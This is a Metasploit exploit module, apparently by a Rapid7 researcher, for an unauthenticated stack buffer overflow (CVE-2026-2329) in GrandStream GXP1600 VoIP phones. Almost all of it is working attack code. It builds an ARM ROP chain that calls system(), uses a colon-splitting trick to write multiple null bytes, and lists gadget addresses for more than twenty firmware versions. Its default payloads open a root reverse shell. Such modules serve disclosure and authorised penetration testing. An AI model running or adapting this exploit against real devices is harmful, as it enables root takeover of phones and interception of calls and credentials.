GrandStream GXP1600 Unauthenticated Remote Code Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'GrandStream GXP1600 Unauthenticated Remote Code Execution',
        'Description' => %q{
          An unauthenticated stack-based buffer overflow vulnerability exists in the HTTP API endpoint
          /cgi-bin/api.values.get. A remote attacker can leverage this vulnerability to achieve unauthenticated remote
          code execution (RCE) with root privileges on a target device. The vulnerability affects all six device models
          in the series: GXP1610, GXP1615, GXP1620, GXP1625, GXP1628, and GXP1630. The vulnerability affects all
          firmware versions below version 1.0.7.81.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'sfewer-r7', # Discovery, Analysis, Exploit
        ],
        'References' => [
          ['CVE', '2026-2329'],
          # Rapid7 advisory for CVE-2026-2329
          ['URL', 'https://www.rapid7.com/blog/post/ve-cve-2026-2329-critical-unauthenticated-stack-buffer-overflow-in-grandstream-gxp1600-voip-phones-fixed'],
          # Vendor advisory for CVE-2026-2329 (GSVUL-2026-001)
          ['URL', 'https://psirt.grandstream.com/'],
          # Vendor release notes (PDF) for the fixed firmware version 1.0.7.81.
          ['URL', 'https://firmware.grandstream.com/Release_Note_GXP16xx_1.0.7.81.pdf']
        ],
        'DisclosureDate' => '2026-02-18',
        'Platform' => %w[linux unix],
        'Arch' => ARCH_CMD,
        'Privileged' => true, # /app/bin/gs_web runs as root
        'Targets' => [
          [ 'Automatic', {} ],
        ],
        'DefaultTarget' => 0,
        # NOTE: Tested with the following payloads:
        #   cmd/linux/http/armle/meterpreter_reverse_tcp
        #   cmd/unix/reverse_netcat
        'DefaultOptions' => {
          'PAYLOAD' => 'cmd/linux/http/armle/meterpreter_reverse_tcp',
          'RPORT' => 80,
          'SSL' => false,
          # A writable directory on the target for fetch based payloads to write to.
          'FETCH_WRITABLE_DIR' => '/tmp',
          # Delete the fetch binary after execution.
          'FETCH_DELETE' => true
        },
        'Payload' => {
          'BadChars' => ':',
          'Encoder' => 'cmd/base64'
        },
        'Notes' => {
          'Stability' => [CRASH_SERVICE_RESTARTS],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS],
          'RelatedModules' => [
            'post/linux/gather/grandstream_gxp1600_creds',
            'post/linux/capture/grandstream_gxp1600_sip'
          ]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to web admin', '/']),
      ]
    )
  end

  def check
    version_id = '68'
    model_id = 'phone_model'

    server_res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'api.values.get'),
      'vars_post' => {
        'request' => "#{version_id}:#{model_id}"
      }
    )

    return CheckCode::Unknown('Connection failed') unless server_res

    return CheckCode::Unknown("Unexpected response code #{server_res.code}") unless server_res.code == 200

    json_data = server_res.get_json_document

    version_str = json_data.dig('body', version_id)

    model_str = json_data.dig('body', model_id)

    return CheckCode::Unknown('Failed to get the version or model info') if version_str.blank? || model_str.blank?

    # These 6 models all share the same firmware for the GXP1600 range.
    affected_models = %w[GXP1610 GXP1615 GXP1620 GXP1625 GXP1628 GXP1630]

    if affected_models.include? model_str
      version = Rex::Version.new(version_str)

      # Teh vulnerability was patched in firmware version 1.0.7.81, released January 30, 2026.
      if version < Rex::Version.new('1.0.7.81')
        return Exploit::CheckCode::Appears("GrandStream #{model_str} version #{version_str}")
      end
    end

    Exploit::CheckCode::Safe("GrandStream #{model_str} version #{version_str}")
  end

  def exploit
    version_id = '68'

    server_res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'api.values.get'),
      'vars_post' => {
        'request' => version_id
      }
    )

    fail_with(Failure::UnexpectedReply, 'Failed to get version number') unless server_res&.code == 200

    json_data = server_res.get_json_document

    version_str = json_data.dig('body', version_id)

    rop_table = get_rop_table(version_str)

    fail_with(Failure::BadConfig, "No ROP table available for version #{version_str}") unless rop_table

    vprint_status("ROP Table: #{rop_table}")

    unless rop_table[:gadget3_call_exit]
      print_warning('No ROP gadget available to call exit(). The payload will work, but will crash and core dump the target gs_web process.')
    end

    pointer_size = 4

    rop = [
      :rand4, # padding
      # The vulnerable function returns via this function epilogue: POP {R4-R11,PC}
      # So we initially get control of registers r4 - r11, and then execute gadget1_blx_pop via the overwritten PC.
      rop_table[:address_data_section], # r4 -> .data segment
      :rand4, # r5
      :rand4, # r6
      :rand4, # r7
      :rand4, # r8
      :rand4, # r9
      :rand4, # r10
      :rand4, # r11
      rop_table[:gadget1_blx_pop] + pointer_size, # pc -> pop {r3, pc}
      :patch_offset2cmd, # r3 -> r0 + r3 == "/bin/sh ..."
      rop_table[:gadget2_add_str_add_str_pop], # pc -> add r0, r3, r0; str r7, [r4, #8]; add r6, r0, r6; str r6, [r4, #4]; pop {r4, r5, r6, r7, r8, pc};
      :rand4, # r4
      :rand4, # r5
      :rand4, # r6
      :rand4, # r7
      :rand4, # r8
      rop_table[:gadget1_blx_pop] + pointer_size, # pc -> pop {r3, pc}
      rop_table[:address_system_plt], # r3 -> system@plt
      rop_table[:gadget1_blx_pop], # pc -> blx r3; pop {r3, pc}
      :rand4, # r3
      rop_table[:gadget3_call_exit] || :rand4highnull # pc -> mov r0, 1; bl 0xbcd0 <exit@plt>
    ]

    overflow_buffer = Rex::Text.rand_text_alpha(64)

    rop.map! do |item|
      if item == :patch_offset2cmd
        # When the vulnerable function returns, r0 will point into the stack, 28 bytes before the start of our overflow
        # buffer. We use a gadget (gadget2_add_str_add_str_pop) to add r0 to an offset (held in r3), after this gadget
        # executes, r3 will point to the OS command we want to execute, which is located on the stack directly after
        # our ROP chain. The below offset is the value placed in r3 for this calculation.
        item = 28 + overflow_buffer.length + (rop.length * pointer_size)
      elsif item == :rand4
        item = Rex::Text.rand_text_hex(pointer_size).unpack('V').first
      elsif item == :rand4highnull
        item = Rex::Text.rand_text_hex(pointer_size).unpack('V').first & 0x00FFFFFF
      end
      item
    end

    vprint_status("Encoded ARCH_CMD Payload: #{payload.encoded}")

    request_buffer = gen_buffer(
      rop.pack('V*') << payload.encoded,
      overflow_buffer
    )

    register_file_for_cleanup('/tmp/core.gz')

    register_dir_for_cleanup('/core')

    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'api.values.get'),
      'vars_post' => {
        'request' => request_buffer
      }
    )
  end

  # The vulnerability only allows for a single null terminator byte to be written during the overflow. To overcome this
  # limitation, we can rely on the fact that the vulnerable function will process the attacker-controlled request
  # parameter as a colon-delimited string of multiple identifiers. Every time a colon is encountered, the overflow can
  # be triggered a subsequent time via the next identifier. We can leverage this, and the ability to write a single null
  # byte as the last character in the current identifier being processed, to write multiple null bytes during exploitation.
  #
  # For example, if we wanted to write a sequence of bytes with 5 null characters in it, e.g.
  # "EEE0DDDDDDD0CCCCCCCC00AAAAAAAAAAA0" (where 0 is a null byte)
  # we can trigger the overflow 5 times by structuring the input as follows:
  # "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:BBBBBBBBBBBBBBBBBBBBB:CCCCCCCCCCCCCCCCCCCC:DDDDDDDDDDD:EEE"
  # When the vulnerable function process this colon deliminated input, it will trigger the overflow 5 times, and each
  # time it will write a null byte at the end of the current identifier being processed. The final memory layout will
  # be the expected attacker controller byte sequence. Note, the lengths used in this example are contrived for brevity,
  # as the actual vulnerable function requires a 64 byte buffer to be overflowed for each invocation of the vulnerability.
  #
  # The gen_buffer method will take care of restructuring the input in the above described manner.
  def gen_buffer(input, line_padding = '')
    input << "\x00" unless input[input.length - 1] == "\x00"

    len = input.length

    lines = []

    input.reverse.each_byte do |chr|
      line = '1' * (len - 1)

      if chr.zero?
        line << ':'
      else
        line << [chr].pack('C')
      end

      len -= 1

      lines << line
    end

    res = []

    lines.each do |line|
      if line.end_with? ':'
        res << (line_padding + line)
      else
        res.last[line_padding.length + line.length - 1] = line[line.length - 1]
      end
    end

    res.join
  end

  def get_rop_table(version_str)
    rop_tables = {
      '1.0.7.80' =>
        {
          address_system_plt: 0x0000b868,
          address_data_section: 0x000224c8,
          gadget2_add_str_add_str_pop: 0x0000f110,
          gadget1_blx_pop: 0x0000c230,
          gadget3_call_exit: 0x0000ffc0
        },
      '1.0.7.79' =>
        {
          address_system_plt: 0x0000b73c,
          address_data_section: 0x00022490,
          gadget2_add_str_add_str_pop: 0x0000ef64,
          gadget1_blx_pop: 0x0000c0ec,
          gadget3_call_exit: 0x0000fe14
        },
      '1.0.7.74' =>
        {
          address_system_plt: 0x0000b73c,
          address_data_section: 0x00022490,
          gadget2_add_str_add_str_pop: 0x0000ef64,
          gadget1_blx_pop: 0x0000c0ec,
          gadget3_call_exit: 0x0000fe14
        },
      '1.0.7.70' => {
        address_system_plt: 0x0000b73c,
        address_data_section: 0x00022490,
        gadget2_add_str_add_str_pop: 0x0000ef64,
        gadget1_blx_pop: 0x0000c0ec,
        gadget3_call_exit: 0x0000fe14
      },
      '1.0.7.67' => {
        address_system_plt: 0x0000b6c4,
        address_data_section: 0x00021e6c,
        gadget2_add_str_add_str_pop: 0x0000ed7c,
        gadget1_blx_pop: 0x0000c05c,
        gadget3_call_exit: 0x0000fc2c
      },
      '1.0.7.64' => {
        address_system_plt: 0x0000b6c4,
        address_data_section: 0x00021e2c,
        gadget2_add_str_add_str_pop: 0x0000ed38,
        gadget1_blx_pop: 0x0000c05c,
        gadget3_call_exit: 0x0000fbe8
      },
      '1.0.7.56' => {
        address_system_plt: 0x0000bd78,
        address_data_section: 0x00022474,
        gadget2_add_str_add_str_pop: 0x000140ec,
        gadget1_blx_pop: 0x0000c6bc,
        gadget3_call_exit: nil
      },
      '1.0.7.50' => {
        address_system_plt: 0x0000bd78,
        address_data_section: 0x00022474,
        gadget2_add_str_add_str_pop: 0x000140ec,
        gadget1_blx_pop: 0x0000c6bc,
        gadget3_call_exit: nil
      },
      '1.0.7.49' => {
        address_system_plt: 0x0000bd78,
        address_data_section: 0x00022474,
        gadget2_add_str_add_str_pop: 0x000140ec,
        gadget1_blx_pop: 0x0000c6bc,
        gadget3_call_exit: nil
      },
      '1.0.7.33' => {
        address_system_plt: 0x0000bd10,
        address_data_section: 0x00021e0c,
        gadget2_add_str_add_str_pop: 0x00013ed4,
        gadget1_blx_pop: 0x0000c63c,
        gadget3_call_exit: nil
      },
      '1.0.7.27' => {
        address_system_plt: 0x0000bd10,
        address_data_section: 0x00021e0c,
        gadget2_add_str_add_str_pop: 0x00013ed4,
        gadget1_blx_pop: 0x0000c63c,
        gadget3_call_exit: nil
      },
      '1.0.7.24' => {
        address_system_plt: 0x0000c40c,
        address_data_section: 0x00021948,
        gadget2_add_str_add_str_pop: 0x00013b2c,
        gadget1_blx_pop: 0x0000c600,
        gadget3_call_exit: nil
      },
      '1.0.7.18' => {
        address_system_plt: 0x0000c40c,
        address_data_section: 0x00021470,
        gadget2_add_str_add_str_pop: 0x00013aec,
        gadget1_blx_pop: 0x0000c5f0,
        gadget3_call_exit: nil
      },
      '1.0.7.13' => {
        address_system_plt: 0x0000c40c,
        address_data_section: 0x0002145c,
        gadget2_add_str_add_str_pop: 0x00013adc,
        gadget1_blx_pop: 0x0000c5f0,
        gadget3_call_exit: nil
      },
      '1.0.7.6' => {
        address_system_plt: 0x0000c40c,
        address_data_section: 0x0002145c,
        gadget2_add_str_add_str_pop: 0x00013adc,
        gadget1_blx_pop: 0x0000c5f0,
        gadget3_call_exit: nil
      },
      '1.0.7.3' => {
        address_system_plt: 0x0000c40c,
        address_data_section: 0x0002145c,
        gadget2_add_str_add_str_pop: 0x00013adc,
        gadget1_blx_pop: 0x0000c5f0,
        gadget3_call_exit: nil
      },
      '1.0.5.3' => {
        address_system_plt: 0x0000c40c,
        address_data_section: 0x0002145c,
        gadget2_add_str_add_str_pop: 0x00013adc,
        gadget1_blx_pop: 0x0000c5f0,
        gadget3_call_exit: nil
      },
      '1.0.4.152' => {
        address_system_plt: 0x0000c40c,
        address_data_section: 0x0002145c,
        gadget2_add_str_add_str_pop: 0x00013adc,
        gadget1_blx_pop: 0x0000c5f0,
        gadget3_call_exit: nil
      },
      '1.0.4.140' => {
        address_system_plt: 0x0000c358,
        address_data_section: 0x00021454,
        gadget2_add_str_add_str_pop: 0x000137e8,
        gadget1_blx_pop: 0x0000c53c,
        gadget3_call_exit: nil
      },
      '1.0.4.132' => {
        address_system_plt: 0x0000c358,
        address_data_section: 0x00020c2c,
        gadget2_add_str_add_str_pop: 0x00013558,
        gadget1_blx_pop: 0x0000c53c,
        gadget3_call_exit: nil
      },
      '1.0.4.128' => { # Released August 3, 2018.
        address_system_plt: 0x0000c17c,
        address_data_section: 0x0001e9c4,
        gadget2_add_str_add_str_pop: 0x00011cc8,
        gadget1_blx_pop: 0x0000c360,
        gadget3_call_exit: nil
      }
    }

    rop_tables[version_str]
  end

end